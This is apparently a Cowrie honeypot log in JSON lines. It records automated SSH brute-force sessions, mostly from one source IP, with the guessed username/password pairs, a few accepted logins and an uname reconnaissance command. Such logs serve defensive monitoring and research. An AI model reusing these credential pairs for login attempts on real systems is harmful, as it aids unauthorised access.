{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:39:47.278715Z","src_ip":"192.109.200.78","session":"173ad22f2301","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:39:47.284004Z","src_ip":"192.109.200.78","session":"173ad22f2301","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":60904,"dst_ip":"10.17.0.5","dst_port":22,"session":"1f26c227917d","protocol":"ssh","message":"New connection: 192.109.200.78:60904 (10.17.0.5:22) [session: 1f26c227917d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:39:50.380120Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:39:50.385011Z","src_ip":"192.109.200.78","session":"1f26c227917d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:39:50.467657Z","src_ip":"192.109.200.78","session":"1f26c227917d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esuser","password":"123456","message":"login attempt [esuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:39:50.735656Z","src_ip":"192.109.200.78","session":"1f26c227917d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:39:51.821655Z","src_ip":"192.109.200.78","session":"1f26c227917d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":60910,"dst_ip":"10.17.0.5","dst_port":22,"session":"273c8d34b771","protocol":"ssh","message":"New connection: 192.109.200.78:60910 (10.17.0.5:22) [session: 273c8d34b771]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:39:54.573803Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:39:54.579133Z","src_ip":"192.109.200.78","session":"273c8d34b771","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:39:54.661243Z","src_ip":"192.109.200.78","session":"273c8d34b771","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"123456","message":"login attempt [steam/123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:39:54.923883Z","src_ip":"192.109.200.78","session":"273c8d34b771","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:39:55.134678Z","src_ip":"192.109.200.78","session":"273c8d34b771","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:39:55.138367Z","src_ip":"192.109.200.78","session":"273c8d34b771","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:39:55.224610Z","src_ip":"192.109.200.78","session":"273c8d34b771","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:39:55.228751Z","src_ip":"192.109.200.78","session":"273c8d34b771","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":48942,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e87eb275ec6","protocol":"ssh","message":"New connection: 192.109.200.78:48942 (10.17.0.5:22) [session: 6e87eb275ec6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:39:58.612092Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:39:58.615389Z","src_ip":"192.109.200.78","session":"6e87eb275ec6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:39:58.697246Z","src_ip":"192.109.200.78","session":"6e87eb275ec6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oscar","password":"oscar123","message":"login attempt [oscar/oscar123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:39:58.943669Z","src_ip":"192.109.200.78","session":"6e87eb275ec6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:40:00.032801Z","src_ip":"192.109.200.78","session":"6e87eb275ec6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":48958,"dst_ip":"10.17.0.5","dst_port":22,"session":"7882fbacf4ed","protocol":"ssh","message":"New connection: 192.109.200.78:48958 (10.17.0.5:22) [session: 7882fbacf4ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:40:03.820632Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:40:03.843547Z","src_ip":"192.109.200.78","session":"7882fbacf4ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:40:03.927347Z","src_ip":"192.109.200.78","session":"7882fbacf4ed","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"bot","password":"bot123","message":"login attempt [bot/bot123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:40:04.196368Z","src_ip":"192.109.200.78","session":"7882fbacf4ed","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:40:04.439104Z","src_ip":"192.109.200.78","session":"7882fbacf4ed","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:40:04.442933Z","src_ip":"192.109.200.78","session":"7882fbacf4ed","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:40:04.535176Z","src_ip":"192.109.200.78","session":"7882fbacf4ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:40:04.544392Z","src_ip":"192.109.200.78","session":"7882fbacf4ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.42.229.203","src_port":38312,"dst_ip":"159.203.135.109","dst_port":23,"session":"b3e0fa672e99","protocol":"telnet","message":"New connection: 5.42.229.203:38312 (159.203.135.109:23) [session: b3e0fa672e99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:40:04.978591Z"}
{"eventid":"cowrie.session.closed","duration":35.069494009017944,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:40:05.309520Z","src_ip":"5.42.229.203","session":"6b6f0b374157","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":48972,"dst_ip":"10.17.0.5","dst_port":22,"session":"c9cca7128575","protocol":"ssh","message":"New connection: 192.109.200.78:48972 (10.17.0.5:22) [session: c9cca7128575]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:40:06.961433Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:40:06.968136Z","src_ip":"192.109.200.78","session":"c9cca7128575","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:40:07.055934Z","src_ip":"192.109.200.78","session":"c9cca7128575","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mohammad","password":"mohammad","message":"login attempt [mohammad/mohammad] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:40:07.510432Z","src_ip":"192.109.200.78","session":"c9cca7128575","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":33720,"dst_ip":"159.203.135.109","dst_port":22,"session":"245f9ecc2b04","protocol":"ssh","message":"New connection: 159.203.92.129:33720 (159.203.135.109:22) [session: 245f9ecc2b04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:40:07.627706Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:40:07.665895Z","src_ip":"159.203.92.129","session":"245f9ecc2b04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:40:07.670632Z","src_ip":"159.203.92.129","session":"245f9ecc2b04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Zw@123kk456","message":"login attempt [admin/Zw@123kk456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:40:07.889260Z","src_ip":"159.203.92.129","session":"245f9ecc2b04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:40:08.601180Z","src_ip":"192.109.200.78","session":"c9cca7128575","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:40:08.904304Z","src_ip":"159.203.92.129","session":"245f9ecc2b04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":34356,"dst_ip":"10.17.0.5","dst_port":22,"session":"53e9e9bdf270","protocol":"ssh","message":"New connection: 192.109.200.78:34356 (10.17.0.5:22) [session: 53e9e9bdf270]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:40:11.247929Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:40:11.252693Z","src_ip":"192.109.200.78","session":"53e9e9bdf270","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:40:11.335071Z","src_ip":"192.109.200.78","session":"53e9e9bdf270","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123!@","message":"login attempt [root/qwe123!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:40:12.017456Z","src_ip":"192.109.200.78","session":"53e9e9bdf270","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:40:13.148581Z","src_ip":"192.109.200.78","session":"53e9e9bdf270","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":34376,"dst_ip":"10.17.0.5","dst_port":22,"session":"6537c57f46d2","protocol":"ssh","message":"New connection: 192.109.200.78:34376 (10.17.0.5:22) [session: 6537c57f46d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:40:15.325844Z"}
